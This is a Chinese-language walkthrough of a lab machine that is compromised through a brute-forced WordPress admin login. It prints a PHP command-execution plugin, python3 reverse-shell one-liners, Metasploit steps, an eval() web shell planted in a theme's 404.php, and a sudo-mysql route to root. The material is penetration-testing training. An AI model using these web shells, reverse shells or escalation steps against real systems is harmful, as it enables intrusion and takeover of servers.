靶机地址
难度:中
知识点
主机发现
端口扫描
WEB路径爆破
BurpSuite内容替换
密码爆破
MSF漏洞利用
Wordpress后台漏洞利用
升级Full TTY终端
蚁剑上线
利用MySQL提权
步骤
主机发现
- nmap -sn 192.168.2.0/24
- 发现192.168.2.143开发80端口
nmap -p80 -sV 192.168.2.143
- apache 2.4.41(ubuntu)
feroxbuster
- 目录扫描
- 安装时没有带字典
- 安装字典:apt install seclists
- feroxbuster –url http://192.168.2.143
- 自己指定字典
- -w /usr/share/dirb/wordlists/common.txt
发现http://192.168.2.143/wordpress/
- 但请求速度很慢,用BP抓包发现它要请求很多192.168.159.145的资源
- 在BP的 options->match and replace 中增加 所有响应包的192.168.159.145替换成192.168.2.143
发现后台 http://192.168.2.143/wordpress/wp-admin
- 后台明确提示用户名错还是密码错
- 测试存在admin
- 进行密码破解,最好BP专业版不然很慢
- /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
- adam14
发现后台添加插件的地方可以上传插件
- 自己做一个插件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
Plugin Name: WordPress.org Plugin
Plugin URI: https://developer.wordpress.org/plugins/the-basics/
Description: Basic WordPress Plugin Header Comment
Version: 20160911
Author: WordPress.org
Author URI: https://developer.wordpress.org/
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
Text Domain: wporg
Domain Path: /languages
*/
/*上面的信息是插件必须的*/
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
- 自己做一个插件
将php文件压缩成zip,上传
- zip shell.zip shell.php
测试
which python3
- 存在python3的环境
1 | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.142",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])' |
1 | python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.142",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' |
测试利用msf获取shell
- msfdb run
- search wordpress admin
- use exploit/unix/webapp/wp_admin_shell_upload
- set PASSWORD adam14
- set RHOSTS 192.168.2.143
- set TARGETURI /wordpress
- set USERNAME admin
- set LHOST 192.168.2.142
- run
- shell
在已有shell的情况下再生成蚁剑shell
- cd wp-content/themes/twentytwentyone
- vi 404.php
- 进入vi后发现无法交互
- 先升级shell(只适用于bash)
- 首先攻击者要使用bash
- 查看:echo $0 或 echo $SHELL
- 修改:chsh -s /bin/bash
- 重启
- 重启后,自己IP变为了 144 ,之前的BP设置要再设
- ctrl+z
- stty raw -echo
- fg
- export SHELL=/bin/bash
- export TERM=screen
- stty rows 38 columns 116
- reset
- 到此已经升级成可交互,补全的shell了
- ctrl + - 减小当时字体,避免进入vi时有显示问题
- vi wp-content/themes/twentytwentyone/404.php
- 如果还有显示问题,退出再次缩小
- 在404.php中加入
eval($_POST['ant']);
启动蚁剑
- ./AntSword
- 连接:http://192.168.2.143/wordpress/wp-content/themes/twentytwentyone/404.php
- 密码:ant
- 测试成功
cat /etc/passwd
- 查看当前系统可用账号
- 发现wpadmin
提权
- 主流三步不行
- 信息收集
- wp-config.php
- 发现数据库密码:Wp_Admin#123
测试wpadmin的密码
- 与web管理相同:adam14
再提权
- sudo -l 有机会
- /usr/bin/mysql -u root -D wordpress -p
sudo /usr/bin/mysql -u root -D wordpress -p
- 密码:adam14
- 在数据中有调用系统命令的指令:system(简写:!)
- sysem id
- ! /bin/bash